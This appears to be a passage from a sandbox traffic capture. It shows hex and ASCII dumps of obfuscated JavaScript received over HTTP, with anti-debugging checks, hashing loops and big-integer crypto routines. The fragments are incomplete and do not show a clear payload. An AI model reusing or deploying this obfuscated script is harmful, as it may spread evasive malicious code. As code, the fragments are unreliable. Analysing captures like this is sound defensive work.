28 29 2c 55 28 57 29 7b 55 20 62 28 62 29 7b 31 62 20 55 28 29 7b 63 28 51 2c 55 28 29 7b 31 61 20 62 3d 31 64 20 62 
4f 28 4e 28 22 64 39 22 29 2b 22 50 77 20 2a 5c 5c 5c 5c 28 20 2a 5c 5c 5c 5c 29 22 29 2c 78 3d 31 64 20 62 4f 28 4e 28 
22 32 47 42 22 29 2b 4e 28 22 32 47 70 22 29 2b 4e 28 22 32 47 43 22 29 2b 4e 28 22 32 47 45 22 29 2b 4e 28 22 32 47 
46 22 29 2b 4e 28 22 32 47 47 22 29 2b 4e 28 22 32 47 48 22 29 2c 22 69 22 29 2c 63 3d 6f 53 28 4e 28 22 33 43 22 29 
29 3b 62 5b 4e 28 22 6b 75 22 29 5d 28 63 2b 4e 28 22 32 47 49 22 29 29 26 26 78 2e 70 63 28 63 2b 4e 28 22 68 75 22 
29 29 3f 6f 53 28 29 3a 63 28 22 30 22 29 7d 29 28 29 7d 28 29 2c 66 4a 
Data Ascii: c[N("9v")+N("sc")+N("oW")+"er"](d)}(),U(W){U b(b){1b U(){c(Q,U(){1a b=1d bO(N("d9")+"Pw *\\\\( *\\\\)"),x=1d 
bO(N("2GB")+N("2Gp")+N("2GC")+N("2GE")+N("2GF")+N("2GG")+N("2GH"),"i"),c=oS(N("3C"));b[N("ku")](c+N("2GI"))&&
x.pc(c+N("hu"))?oS():c("0")})()}(),fJ

2022-05-13 14:40:18 UTC 941 IN Data Raw: 2a 78 2e 31 47 2c 51 5b 4e 28 22 67 34 22 29 2b 4e 28 22 62 38 22 29 5d 28 29 2c 51 5b 4e 28 22 34 43 22 
29 5d 7d 2c 36 59 3a 55 28 29 7b 31 61 20 62 3d 69 5b 4e 28 22 35 4a 22 29 5d 2e 34 66 28 51 29 3b 31 62 20 62 5b 4e 
28 22 34 43 22 29 5d 3d 51 2e 43 6b 5b 4e 28 22 35 4a 22 29 5d 28 29 2c 62 7d 7d 29 3b 65 5b 4e 28 22 67 57 22 29 2b 
22 36 22 5d 3d 69 5b 4e 28 22 39 76 22 29 2b 22 43 72 22 2b 4e 28 22 6f 52 22 29 5d 28 6e 29 2c 65 5b 22 32 47 4b 22 
2b 4e 28 22 4f 76 22 29 5d 3d 69 5b 4e 28 22 39 76 22 29 2b 4e 28 22 73 63 22 29 2b 4e 28 22 6f 57 22 29 2b 22 65 72 
22 5d 28 6e 29 7d 28 32 4e 29 2c 55 28 29 7b 31 61 20 62 3d 31 4e 2c 78 3d 28 64 3d 62 2e 43 77 29 5b 22 79 31 22 2b 
4e 28 22 32 6a 22 29 5d 2c 63 3d 64 2e 43 78 2c 64 3d 62 5b 4e 28 22 37 70 
Data Ascii: *x.1G,Q[N("g4")+N("b8")](),Q[N("4C")]},6Y:U(){1a b=i[N("5J")].4f(Q);1b b[N("4C")]=Q.Ck[N("5J")](),b}});e[N("
gW")+"6"]=i[N("9v")+"Cr"+N("oR")](n),e["2GK"+N("Ov")]=i[N("9v")+N("sc")+N("oW")+"er"](n)}(2N),U(){1a b=1N,x=(d=b.Cw)
["y1"+N("2j")],c=d.Cx,d=b[N("7p

2022-05-13 14:40:18 UTC 942 IN Data Raw: 29 7d 2c 69 42 3a 55 28 62 2c 78 29 7b 31 6a 28 31 61 20 63 3d 30 3b 63 3c 31 36 3b 63 2b 2b 29 7b 31 61 
20 64 3d 62 5b 61 3d 78 2b 63 5d 3b 62 5b 61 5d 3d 39 4a 26 28 64 3c 3c 38 7c 64 3e 3e 3e 32 34 29 7c 62 4c 26 28 64 
3c 3c 32 34 7c 64 3e 3e 3e 38 29 7d 31 6a 28 31 61 20 57 2c 65 2c 74 2c 69 2c 6e 2c 72 2c 61 3d 51 5b 4e 28 22 34 43 2
2 29 5d 2e 36 43 2c 64 3d 42 2e 36 43 2c 66 3d 41 2e 36 43 2c 73 3d 77 5b 4e 28 22 33 75 22 29 5d 2c 6f 3d 70 5b 4e 28 
22 33 75 22 29 5d 2c 68 3d 4b 5b 4e 28 22 33 75 22 29 5d 2c 75 3d 43 5b 4e 28 22 33 75 22 29 5d 2c 67 3d 57 3d 61 5b 
30 5d 2c 76 3d 65 3d 61 5b 31 5d 2c 6c 3d 74 3d 61 5b 32 5d 2c 79 3d 69 3d 61 5b 33 5d 2c 6d 3d 6e 3d 61 5b 34 5d 2c 
63 3d 30 3b 63 3c 38 30 3b 63 2b 3d 31 29 72 3d 57 2b 62 5b 78 2b 73 5b 
Data Ascii: )},iB:U(b,x){1j(1a c=0;c<16;c++){1a d=b[a=x+c];b[a]=9J&(d<<8|d>>>24)|bL&(d<<24|d>>>8)}1j(1a W,e,t,
i,n,r,a=Q[N("4C")].6C,d=B.6C,f=A.6C,s=w[N("3u")],o=p[N("3u")],h=K[N("3u")],u=C[N("3u")],g=W=a[0],v=e=a[1],l=t=
a[2],y=i=a[3],m=n=a[4],c=0;c<80;c+=1)r=W+b[x+s[

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:18 UTC 944 IN Data Raw: 22 29 5d 28 78 29 29 3b 31 61 20 63 3d 62 5b 4e 28 22 6f 58 22 29 2b 4e 28 22 38 6a 22 29 5d 2c 64 3d 34 2a 
63 3b 78 5b 4e 28 22 34 70 22 29 2b 4e 28 22 33 51 22 29 5d 3e 64 26 26 28 78 3d 62 5b 4e 28 22 61 69 22 29 2b 22 32 
4c 51 22 5d 28 78 29 29 2c 78 5b 4e 28 22 35 50 22 29 5d 28 29 3b 31 6a 28 31 61 20 57 3d 51 5b 4e 28 22 44 57 22 29 
5d 3d 78 5b 4e 28 22 35 4a 22 29 5d 28 29 2c 65 3d 51 5b 4e 28 22 32 4c 52 22 29 5d 3d 78 2e 36 59 28 29 2c 74 3d 57 
2e 36 43 2c 69 3d 65 2e 36 43 2c 6e 3d 30 3b 6e 3c 63 3b 6e 2b 2b 29 74 5b 6e 5d 5e 3d 32 4c 53 2c 69 5b 6e 5d 5e 3d 
32 4c 54 3b 57 5b 22 62 4a 22 2b 4e 28 22 33 51 22 29 5d 3d 65 5b 4e 28 22 34 70 22 29 2b 4e 28 22 33 51 22 29 5d 3d 
64 2c 51 2e 38 71 28 29 7d 2c 38 71 3a 55 28 29 7b 31 61 20 62 3d 51 2e 
Data Ascii: ")](x));1a c=b[N("oX")+N("8j")],d=4*c;x[N("4p")+N("3Q")]>d&&(x=b[N("ai")+"2LQ"](x)),x[N("5P")]();1j(1a W=Q[N
("DW")]=x[N("5J")](),e=Q[N("2LR")]=x.6Y(),t=W.6C,i=e.6C,n=0;n<c;n++)t[n]^=2LS,i[n]^=2LT;W["bJ"+N("3Q")]=e[N("4
p")+N("3Q")]=d,Q.8q()},8q:U(){1a b=Q.

2022-05-13 14:40:18 UTC 945 IN Data Raw: 5b 4e 28 22 62 42 22 29 5d 28 29 3b 31 6a 28 31 61 20 61 3d 72 5b 4e 28 22 33 75 22 29 5d 2c 66 3d 61 2e 
31 47 2c 73 3d 72 2c 6f 3d 31 3b 6f 3c 63 3b 6f 2b 2b 29 7b 73 3d 64 5b 4e 28 22 61 69 22 29 2b 4e 28 22 39 73 22 29 5d 
28 73 29 2c 64 5b 4e 28 22 62 42 22 29 5d 28 29 3b 31 6a 28 31 61 20 68 3d 73 5b 4e 28 22 33 75 22 29 5d 2c 75 3d 30 
3b 75 3c 66 3b 75 2b 2b 29 61 5b 75 5d 5e 3d 68 5b 75 5d 7d 57 5b 4e 28 22 36 4d 22 29 2b 22 74 22 5d 28 72 29 2c 69 
5b 30 5d 2b 2b 7d 31 62 20 57 5b 22 62 4a 22 2b 4e 28 22 33 51 22 29 5d 3d 34 2a 6e 2c 57 7d 7d 29 3b 62 5b 4e 28 22 
41 54 22 29 2b 22 32 22 5d 3d 55 28 62 2c 78 2c 63 29 7b 31 62 20 57 2e 37 6e 28 63 29 2e 41 73 28 62 2c 78 29 7d 7d 
28 29 3b 31 61 20 64 36 3d 22 4e 73 22 2b 4e 28 22 70 79 22 29 2b 4e 28 
Data Ascii: [N("bB")]();1j(1a a=r[N("3u")],f=a.1G,s=r,o=1;o<c;o++){s=d[N("ai")+N("9s")](s),d[N("bB")]();1j(1a h=s[N("3u"
)],u=0;u<f;u++)a[u]^=h[u]}W[N("6M")+"t"](r),i[0]++}1b W["bJ"+N("3Q")]=4*n,W}});b[N("AT")+"2"]=U(b,x,c){1b W.7n(c).As(b,x
)}}();1a d6="Ns"+N("py")+N(

2022-05-13 14:40:18 UTC 946 IN Data Raw: 31 35 2c 61 3d 69 2a 6e 2b 72 2a 74 3b 57 3d 28 28 6e 3d 74 2a 6e 2b 28 28 68 4e 26 61 29 3c 3c 31 35 29 
2b 63 5b 64 5d 2b 28 54 79 26 57 29 29 3e 3e 3e 33 30 29 2b 28 61 3e 3e 3e 31 35 29 2b 69 2a 72 2b 28 57 3e 3e 3e 33 
30 29 2c 63 5b 64 2b 2b 5d 3d 54 79 26 6e 7d 31 62 20 57 7d 55 20 54 67 28 62 2c 78 2c 63 2c 64 2c 57 2c 65 29 7b 31 
6a 28 31 61 20 74 3d 79 53 26 78 2c 69 3d 78 3e 3e 31 34 3b 30 3c 3d 2d 2d 65 3b 29 7b 31 61 20 6e 3d 79 53 26 51 5b 
62 5d 2c 72 3d 51 5b 62 2b 2b 5d 3e 3e 31 34 2c 61 3d 69 2a 6e 2b 72 2a 74 3b 57 3d 28 28 6e 3d 74 2a 6e 2b 28 28 79 
53 26 61 29 3c 3c 31 34 29 2b 63 5b 64 5d 2b 57 29 3e 3e 32 38 29 2b 28 61 3e 3e 31 34 29 2b 69 2a 72 2c 63 5b 64 2b 
2b 5d 3d 32 4c 4d 26 6e 7d 31 62 20 57 7d 63 78 3d 77 53 26 26 66 36 5b 4e 
Data Ascii: 15,a=i*n+r*t;W=((n=t*n+((hN&a)<<15)+c[d]+(Ty&W))>>>30)+(a>>>15)+i*r+(W>>>30),c[d++]=Ty&n}1b W}U Tg
(b,x,c,d,W,e){1j(1a t=yS&x,i=x>>14;0<=--e;){1a n=yS&Q[b],r=Q[b++]>>14,a=i*n+r*t;W=((n=t*n+((yS&a)<<14)+c[d]+W)
>>28)+(a>>14)+i*r,c[d++]=2LM&n}1b W}cx=wS&&f6[N

2022-05-13 14:40:18 UTC 948 IN Data Raw: 31 29 3c 3c 65 2c 51 5b 51 2e 74 2b 2b 5d 3d 74 3e 3e 51 2e 44 42 2d 65 29 3a 51 5b 51 2e 74 2d 31 5d 7c 
3d 74 3c 3c 65 2c 28 65 2b 3d 63 29 3e 3d 51 2e 44 42 26 26 28 65 2d 3d 51 2e 44 42 29 29 7d 38 3d 3d 63 26 26 30 21 
3d 28 31 32 38 26 62 5b 30 5d 29 26 26 28 51 2e 73 3d 2d 31 2c 30 3c 65 26 26 28 51 5b 51 2e 74 2d 31 5d 7c 3d 28 31 
3c 3c 51 2e 44 42 2d 65 29 2d 31 3c 3c 65 29 29 2c 51 5b 4e 28 22 35 50 22 29 5d 28 29 2c 57 26 26 31 6d 2e 38 65 5b 
4e 28 22 33 52 22 29 5d 28 51 2c 51 29 7d 55 20 4e 45 28 29 7b 31 6a 28 31 61 20 62 3d 51 2e 73 26 51 2e 44 4d 3b 30 
3c 51 2e 74 26 26 51 5b 51 2e 74 2d 31 5d 3d 3d 62 3b 29 2d 2d 51 2e 74 7d 55 20 4d 63 28 62 29 7b 69 66 28 51 2e 73 
3c 30 29 31 62 22 2d 22 2b 51 2e 6c 62 28 29 5b 4e 28 22 32 64 22 29 2b 4e 
Data Ascii: 1)<<e,Q[Q.t++]=t>>Q.DB-e):Q[Q.t-1]|=t<<e,(e+=c)>=Q.DB&&(e-=Q.DB))}8==c&&0!=(128&b[0])&&(Q.s=-1,0<e
&&(Q[Q.t-1]|=(1<<Q.DB-e)-1<<e)),Q[N("5P")](),W&&1m.8e[N("3R")](Q,Q)}U NE(){1j(1a b=Q.s&Q.DM;0<Q.t&&Q[Q.t-1]==b
;)--Q.t}U Mc(b){if(Q.s<0)1b"-"+Q.lb()[N("2d")+N

2022-05-13 14:40:18 UTC 949 IN Data Raw: 29 3b 69 66 28 63 3e 3d 51 2e 74 29 78 2e 74 3d 30 3b 31 4b 7b 31 61 20 64 3d 62 25 51 2e 44 42 2c 57 3d 
51 2e 44 42 2d 64 2c 65 3d 28 31 3c 3c 64 29 2d 31 3b 78 5b 30 5d 3d 51 5b 63 5d 3e 3e 64 3b 31 6a 28 31 61 20 74 3d 
63 2b 31 3b 74 3c 51 2e 74 3b 2b 2b 74 29 78 5b 74 2d 63 2d 31 5d 7c 3d 28 51 5b 74 5d 26 65 29 3c 3c 57 2c 78 5b 74 
2d 63 5d 3d 51 5b 74 5d 3e 3e 64 3b 30 3c 64 26 26 28 78 5b 51 2e 74 2d 63 2d 31 5d 7c 3d 28 51 2e 73 26 65 29 3c 3c 
57 29 2c 78 2e 74 3d 51 2e 74 2d 63 2c 78 5b 4e 28 22 35 50 22 29 5d 28 29 7d 7d 55 20 4e 58 28 62 2c 78 29 7b 31 6a 
28 31 61 20 63 3d 30 2c 64 3d 30 2c 57 3d 32 4e 5b 4e 28 22 67 79 22 29 5d 28 62 2e 74 2c 51 2e 74 29 3b 63 3c 57 3b 
29 64 2b 3d 51 5b 63 5d 2d 62 5b 63 5d 2c 78 5b 63 2b 2b 5d 3d 64 26 51 2e 
Data Ascii: );if(c>=Q.t)x.t=0;1K{1a d=b%Q.DB,W=Q.DB-d,e=(1<<d)-1;x[0]=Q[c]>>d;1j(1a t=c+1;t<Q.t;++t)x[t-c-1]|=(Q[t]&e)
<<W,x[t-c]=Q[t]>>d;0<d&&(x[Q.t-c-1]|=(Q.s&e)<<W),x.t=Q.t-c,x[N("5P")]()}}U NX(b,x){1j(1a c=0,d=0,W=2N[N("gy")](b
.t,Q.t);c<W;)d+=Q[c]-b[c],x[c++]=d&Q.

2022-05-13 14:40:18 UTC 950 IN Data Raw: 28 22 39 32 22 29 5d 28 72 2c 76 29 2c 76 5b 4e 28 22 33 52 22 29 5d 28 65 2c 65 29 3b 65 2e 74 3c 72 3b 
29 65 5b 65 2e 74 2b 2b 5d 3d 30 3b 31 6a 28 3b 30 3c 3d 2d 2d 67 3b 29 7b 31 61 20 6c 3d 63 5b 2d 2d 75 5d 3d 3d 61 
3f 51 2e 44 4d 3a 32 4e 5b 4e 28 22 37 67 22 29 5d 28 63 5b 75 5d 2a 73 2b 28 63 5b 75 2d 31 5d 2b 68 29 2a 6f 29 3b 6
9 66 28 28 63 5b 75 5d 2b 3d 65 2e 61 6d 28 30 2c 6c 2c 63 2c 67 2c 30 2c 72 29 29 3c 6c 29 31 6a 28 65 5b 22 75 59 22 
2b 4e 28 22 39 32 22 29 5d 28 67 2c 76 29 2c 63 5b 4e 28 22 33 52 22 29 5d 28 76 2c 63 29 3b 63 5b 75 5d 3c 2d 2d 6c 
3b 29 63 5b 4e 28 22 33 52 22 29 5d 28 76 2c 63 29 7d 31 68 21 3d 78 26 26 28 63 5b 4e 28 22 68 48 22 29 2b 22 32 4c 
74 22 5d 28 72 2c 78 29 2c 74 21 3d 69 26 26 31 6d 5b 4e 28 22 37 73 22 
Data Ascii: ("92")](r,v),v[N("3R")](e,e);e.t<r;)e[e.t++]=0;1j(;0<=--g;){1a l=c[--u]==a?Q.DM:2N[N("7g")](c[u]*s+(c[u-1]+h
)*o);if((c[u]+=e.am(0,l,c,g,0,r))<l)1j(e["uY"+N("92")](g,v),c[N("3R")](v,c);c[u]<--l;)c[N("3R")](v,c)}1h!=x&&(c[N("hH")+"2Lt"]
(r,x),t!=i&&1m[N("7s"

2022-05-13 14:40:18 UTC 952 IN Data Raw: 62 29 2c 30 3c 3d 62 5b 4e 28 22 33 70 22 29 2b 22 38 70 22 5d 28 51 2e 6d 29 26 26 62 2e 67 41 28 51 2e 
6d 2c 62 29 7d 55 20 54 66 28 62 2c 78 29 7b 62 5b 4e 28 22 35 73 22 29 2b 4e 28 22 70 72 22 29 5d 28 78 29 2c 51 5b 
4e 28 22 39 39 22 29 2b 22 65 22 5d 28 78 29 7d 55 20 54 5a 28 62 2c 78 2c 63 29 7b 62 5b 4e 28 22 31 56 22 29 2b 22 
71 30 22 5d 28 78 2c 63 29 2c 51 5b 4e 28 22 39 39 22 29 2b 22 65 22 5d 28 63 29 7d 55 20 4d 76 28 29 7b 31 62 20 30 
3d 3d 28 30 3c 51 2e 74 3f 31 26 51 5b 30 5d 3a 51 2e 73 29 7d 55 20 4d 33 28 62 2c 78 29 7b 69 66 28 54 48 3c 62 7c 
7c 62 3c 31 29 31 62 20 31 6d 2e 36 55 3b 31 61 20 63 2c 64 3d 32 52 28 29 2c 57 3d 32 52 28 29 2c 65 3d 78 5b 4e 28 
22 71 70 22 29 2b 22 72 74 22 5d 28 51 29 2c 74 3d 67 74 28 62 29 2d 31 3b 
Data Ascii: b),0<=b[N("3p")+"8p"](Q.m)&&b.gA(Q.m,b)}U Tf(b,x){b[N("5s")+N("pr")](x),Q[N("99")+"e"](x)}U TZ(b,x,c){b[N("1
V")+"q0"](x,c),Q[N("99")+"e"](c)}U Mv(){1b 0==(0<Q.t?1&Q[0]:Q.s)}U M3(b,x){if(TH<b||b<1)1b 1m.6U;1a c,d=2R(),W
=2R(),e=x[N("qp")+"rt"](Q),t=gt(b)-1;

2022-05-13 14:40:18 UTC 953 IN Data Raw: 55 20 54 39 28 62 2c 78 2c 63 29 7b 69 66 28 4e 28 22 37 69 22 29 2b 22 72 22 3d 3d 31 6c 20 78 29 69 66 
28 62 3c 32 29 51 5b 4e 28 22 6f 6c 22 29 2b 22 6e 74 22 5d 28 31 29 3b 31 4b 20 31 6a 28 51 5b 4e 28 22 53 4a 22 29 
2b 4e 28 22 38 44 22 29 5d 28 62 2c 63 29 2c 51 5b 4e 28 22 66 6a 22 29 2b 22 69 74 22 5d 28 62 2d 31 29 7c 7c 51 5b 
4e 28 22 66 49 22 29 2b 4e 28 22 66 4d 22 29 5d 28 31 6d 2e 36 55 5b 4e 28 22 34 49 22 29 2b 4e 28 22 39 72 22 29 5d 
28 62 2d 31 29 2c 70 4c 2c 51 29 2c 51 2e 65 48 28 29 26 26 51 5b 22 32 4c 42 22 2b 4e 28 22 66 47 22 29 5d 28 31 2c 
30 29 3b 21 51 5b 4e 28 22 6e 4e 22 29 2b 4e 28 22 77 34 22 29 2b 22 32 4c 43 22 5d 28 78 29 3b 29 51 5b 4e 28 22 67 
44 22 29 2b 4e 28 22 66 47 22 29 5d 28 32 2c 30 29 2c 51 5b 4e 28 22 33 4e 
Data Ascii: U T9(b,x,c){if(N("7i")+"r"==1l x)if(b<2)Q[N("ol")+"nt"](1);1K 1j(Q[N("SJ")+N("8D")](b,c),Q[N("fj")+"it"](b-1)||Q[N("fI
")+N("fM")](1m.6U[N("4I")+N("9r")](b-1),pL,Q),Q.eH()&&Q["2LB"+N("fG")](1,0);!Q[N("nN")+N("w4")+"2LC"](x);)Q[N(
"gD")+N("fG")](2,0),Q[N("3N
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2022-05-13 14:40:18 UTC 954 IN Data Raw: 3b 31 62 20 62 2e 74 3d 51 2e 74 2c 62 2e 73 3d 7e 51 2e 73 2c 62 7d 55 20 55 68 28 62 29 7b 31 61 20 78 
3d 32 52 28 29 3b 31 62 20 62 3c 30 3f 51 5b 4e 28 22 39 30 22 29 2b 4e 28 22 35 52 22 29 5d 28 2d 62 2c 78 29 3a 51 
5b 4e 28 22 67 52 22 29 2b 4e 28 22 35 52 22 29 5d 28 62 2c 78 29 2c 78 7d 55 20 54 51 28 62 29 7b 31 61 20 78 3d 32 
52 28 29 3b 31 62 20 62 3c 30 3f 51 5b 4e 28 22 67 52 22 29 2b 4e 28 22 35 52 22 29 5d 28 2d 62 2c 78 29 3a 51 5b 4e 
28 22 39 30 22 29 2b 22 79 52 22 5d 28 62 2c 78 29 2c 78 7d 55 20 53 31 28 62 29 7b 69 66 28 30 3d 3d 62 29 31 62 2d 
31 3b 31 61 20 78 3d 30 3b 31 62 20 30 3d 3d 28 64 4f 26 62 29 26 26 28 62 3e 3e 3d 31 36 2c 78 2b 3d 31 36 29 2c 30 
3d 3d 28 32 35 35 26 62 29 26 26 28 62 3e 3e 3d 38 2c 78 2b 3d 38 29 2c 30 
Data Ascii: ;1b b.t=Q.t,b.s=~Q.s,b}U Uh(b){1a x=2R();1b b<0?Q[N("90")+N("5R")](-b,x):Q[N("gR")+N("5R")](b,x),x}U 
TQ(b){1a x=2R();1b b<0?Q[N("gR")+N("5R")](-b,x):Q[N("90")+"yR"](b,x),x}U S1(b){if(0==b)1b-1;1a x=0;1b 0==(dO&b)&&
(b>>=16,x+=16),0==(255&b)&&(b>>=8,x+=8),0

2022-05-13 14:40:18 UTC 956 IN Data Raw: 28 62 2c 78 29 7b 69 66 28 30 21 3d 62 29 7b 31 6a 28 3b 51 2e 74 3c 3d 78 3b 29 51 5b 51 2e 74 2b 2b 5d 
3d 30 3b 31 6a 28 51 5b 78 5d 2b 3d 62 3b 51 5b 78 5d 3e 3d 51 2e 44 56 3b 29 51 5b 78 5d 2d 3d 51 2e 44 56 2c 2b 2b 
78 3e 3d 51 2e 74 26 26 28 51 5b 51 2e 74 2b 2b 5d 3d 30 29 2c 2b 2b 51 5b 78 5d 7d 7d 55 20 66 51 28 29 7b 7d 55 20 
75 72 28 62 29 7b 31 62 20 62 7d 55 20 4d 41 28 62 2c 78 2c 63 29 7b 62 5b 22 36 6b 22 2b 4e 28 22 54 4a 22 29 5d 28 
78 2c 63 29 7d 55 20 4d 4c 28 62 2c 78 29 7b 62 5b 4e 28 22 35 73 22 29 2b 22 4f 33 22 5d 28 78 29 7d 55 20 4e 51 28 
62 29 7b 31 62 20 51 5b 4e 28 22 68 4a 22 29 5d 28 62 2c 31 64 20 66 51 29 7d 55 20 53 38 28 62 2c 78 2c 63 29 7b 31 
61 20 64 2c 57 3d 32 4e 5b 4e 28 22 67 79 22 29 5d 28 51 2e 74 2b 62 2e 74 
Data Ascii: (b,x){if(0!=b){1j(;Q.t<=x;)Q[Q.t++]=0;1j(Q[x]+=b;Q[x]>=Q.DV;)Q[x]-=Q.DV,++x>=Q.t&&(Q[Q.t++]=0),++Q[x]}}U 
fQ(){}U ur(b){1b b}U MA(b,x,c){b["6k"+N("TJ")](x,c)}U ML(b,x){b[N("5s")+"O3"](x)}U NQ(b){1b Q[N("hJ")](b,1d fQ)}U 
S8(b,x,c){1a d,W=2N[N("gy")](Q.t+b.t

2022-05-13 14:40:18 UTC 957 IN Data Raw: 22 71 70 22 29 2b 22 72 74 22 5d 28 51 29 2c 31 3c 63 29 7b 31 61 20 61 3d 32 52 28 29 3b 31 6a 28 64 5b 
4e 28 22 62 68 22 29 5d 28 74 5b 31 5d 2c 61 29 3b 69 3c 3d 72 3b 29 74 5b 69 5d 3d 32 52 28 29 2c 64 5b 4e 28 22 63 
63 22 29 5d 28 61 2c 74 5b 69 2d 32 5d 2c 74 5b 69 5d 29 2c 69 2b 3d 32 7d 31 6a 28 31 61 20 66 2c 73 2c 6f 3d 62 2e 7
4 2d 31 2c 68 3d 21 30 2c 75 3d 32 52 28 29 2c 57 3d 67 74 28 62 5b 6f 5d 29 2d 31 3b 30 3c 3d 6f 3b 29 7b 31 6a 28 6e 
3c 3d 57 3f 66 3d 62 5b 6f 5d 3e 3e 57 2d 6e 26 72 3a 28 66 3d 28 62 5b 6f 5d 26 28 31 3c 3c 57 2b 31 29 2d 31 29 3c 3c 
6e 2d 57 2c 30 3c 6f 26 26 28 66 7c 3d 62 5b 6f 2d 31 5d 3e 3e 51 2e 44 42 2b 57 2d 6e 29 29 2c 69 3d 63 3b 30 3d 3d 
28 31 26 66 29 3b 29 66 3e 3e 3d 31 2c 2d 2d 69 3b 69 66 28 28 57 2d 
Data Ascii: "qp")+"rt"](Q),1<c){1a a=2R();1j(d[N("bh")](t[1],a);i<=r;)t[i]=2R(),d[N("cc")](a,t[i-2],t[i]),i+=2}1j(1a f,s,o=b.t-1,h
=!0,u=2R(),W=gt(b[o])-1;0<=o;){1j(n<=W?f=b[o]>>W-n&r:(f=(b[o]&(1<<W+1)-1)<<n-W,0<o&&(f|=b[o-1]>>Q.DB+W-n)),i=c
;0==(1&f);)f>>=1,--i;if((W-

2022-05-13 14:40:18 UTC 958 IN Data Raw: 22 29 5d 28 29 2c 57 3d 39 6e 28 31 29 2c 65 3d 39 6e 28 30 29 2c 74 3d 39 6e 28 30 29 2c 69 3d 39 6e 28 
31 29 3b 30 21 3d 63 5b 4e 28 22 38 6e 22 29 2b 22 6d 22 5d 28 29 3b 29 7b 31 6a 28 3b 63 5b 4e 28 22 38 6c 22 29 2b 
22 6e 22 5d 28 29 3b 29 63 5b 22 79 5a 22 2b 4e 28 22 35 52 22 29 5d 28 31 2c 63 29 2c 78 3f 28 57 5b 4e 28 22 38 6c 2
2 29 2b 22 6e 22 5d 28 29 26 26 65 5b 4e 28 22 38 6c 22 29 2b 22 6e 22 5d 28 29 7c 7c 28 57 5b 4e 28 22 77 6b 22 29 
5d 28 51 2c 57 29 2c 65 2e 67 41 28 62 2c 65 29 29 2c 57 5b 22 79 5a 22 2b 4e 28 22 35 52 22 29 5d 28 31 2c 57 29 29 
3a 65 5b 4e 28 22 38 6c 22 29 2b 22 6e 22 5d 28 29 7c 7c 65 5b 4e 28 22 33 52 22 29 5d 28 62 2c 65 29 2c 65 2e 7a 39 
28 31 2c 65 29 3b 31 6a 28 3b 64 5b 4e 28 22 38 6c 22 29 2b 22 6e 22 5d 28 
Data Ascii: ")](),W=9n(1),e=9n(0),t=9n(0),i=9n(1);0!=c[N("8n")+"m"]();){1j(;c[N("8l")+"n"]();)c["yZ"+N("5R")](1,c),x?(W[
N("8l")+"n"]()&&e[N("8l")+"n"]()||(W[N("wk")](Q,W),e.gA(b,e)),W["yZ"+N("5R")](1,W)):e[N("8l")+"n"]()||e[N("3R")](b,e),e.
z9(1,e);1j(;d[N("8l")+"n"](

2022-05-13 14:40:18 UTC 974 IN Data Raw: 2b 4e 28 22 31 71 22 29 5d 5b 4e 28 22 38 74 22 29 2b 22 70 74 22 5d 3d 4e 63 2c 32 65 5b 4e 28 22 31 72 
22 29 2b 22 31 52 22 5d 5b 4e 28 22 38 74 22 29 2b 4e 28 22 77 4e 22 29 2b 22 50 22 5d 3d 4d 45 2c 35 72 5b 4e 28 22 
31 72 22 29 2b 4e 28 22 31 71 22 29 5d 2e 63 77 3d 4d 48 2c 35 72 5b 4e 28 22 31 72 22 29 2b 4e 28 22 31 71 22 29 5d 
5b 22 6c 34 22 2b 4e 28 22 32 4b 22 29 2b 22 65 72 22 5d 3d 4d 49 2c 35 72 5b 4e 28 22 31 72 22 29 2b 22 31 52 22 5d 
5b 4e 28 22 64 31 22 29 2b 22 65 22 5d 3d 4d 4d 2c 35 72 5b 4e 28 22 31 72 22 29 2b 4e 28 22 31 71 22 29 5d 5b 4e 28 
22 34 6b 22 29 5d 3d 4f 42 2c 35 72 5b 4e 28 22 31 72 22 29 2b 4e 28 22 31 71 22 29 5d 5b 4e 28 22 33 79 22 29 2b 22 
38 64 22 5d 3d 51 73 2c 35 72 5b 4e 28 22 31 72 22 29 2b 4e 28 22 31 71 22 
Data Ascii: +N("1q")][N("8t")+"pt"]=Nc,2e[N("1r")+"1R"][N("8t")+N("wN")+"P"]=ME,5r[N("1r")+N("1q")].cw=MH,5r[N
("1r")+N("1q")]["l4"+N("2K")+"er"]=MI,5r[N("1r")+"1R"][N("d1")+"e"]=MM,5r[N("1r")+N("1q")][N("4k")]=OB,5r[N("1r")+N("1q")]
[N("3y")+"8d"]=Qs,5r[N("1r")+N("1q"

2022-05-13 14:40:18 UTC 990 IN Data Raw: 4b 22 29 2b 22 65 72 22 5d 3d 55 28 62 29 7b 31 61 20 78 3d 31 64 20 31 6d 28 31 4f 28 62 29 2c 31 30 29 3b 
51 5b 4e 28 22 32 67 22 29 2b 4e 28 22 67 51 22 29 2b 22 69 6d 22 5d 28 78 29 7d 2c 51 5b 4e 28 22 36 4a 22 29 2b 4e 
28 22 34 71 22 29 2b 22 78 22 5d 3d 55 28 62 29 7b 51 2e 68 56 3d 62 7d 2c 51 5b 4e 28 22 37 43 22 29 2b 22 32 79 66 
22 5d 3d 55 28 29 7b 31 62 20 51 2e 68 56 7d 2c 31 6c 20 62 21 3d 4e 28 22 31 79 22 29 2b 4e 28 22 31 45 22 29 26 26 
28 31 6c 20 62 2e 32 6d 21 3d 4e 28 22 31 79 22 29 2b 4e 28 22 31 45 22 29 3f 51 5b 4e 28 22 32 67 22 29 2b 4e 28 22 
32 4b 22 29 2b 22 65 72 22 5d 28 62 5b 4e 28 22 69 55 22 29 5d 29 3a 31 6c 20 62 3d 3d 4e 28 22 37 69 22 29 2b 22 72 
22 3f 51 5b 4e 28 22 32 67 22 29 2b 4e 28 22 32 4b 22 29 2b 22 65 72 22 
Data Ascii: K")+"er"]=U(b){1a x=1d 1m(1O(b),10);Q[N("2g")+N("gQ")+"im"](x)},Q[N("6J")+N("4q")+"x"]=U(b){Q.hV=b
},Q[N("7C")+"2yf"]=U(){1b Q.hV},1l b!=N("1y")+N("1E")&&(1l b.2m!=N("1y")+N("1E")?Q[N("2g")+N("2K")+"er"](b[N("iU")]):1l 
b==N("7i")+"r"?Q[N("2g")+N("2K")+"er"

2022-05-13 14:40:18 UTC 1006 IN Data Raw: 32 47 22 29 2b 4e 28 22 37 77 22 29 2b 4e 28 22 38 4b 22 29 2b 22 72 22 5d 29 2c 51 5b 4e 28 22 32 6c 22 
29 2b 4e 28 22 32 6a 22 29 5d 5b 4e 28 22 31 74 22 29 5d 28 51 5b 4e 28 22 32 47 22 29 2b 4e 28 22 34 64 22 29 2b 4e 
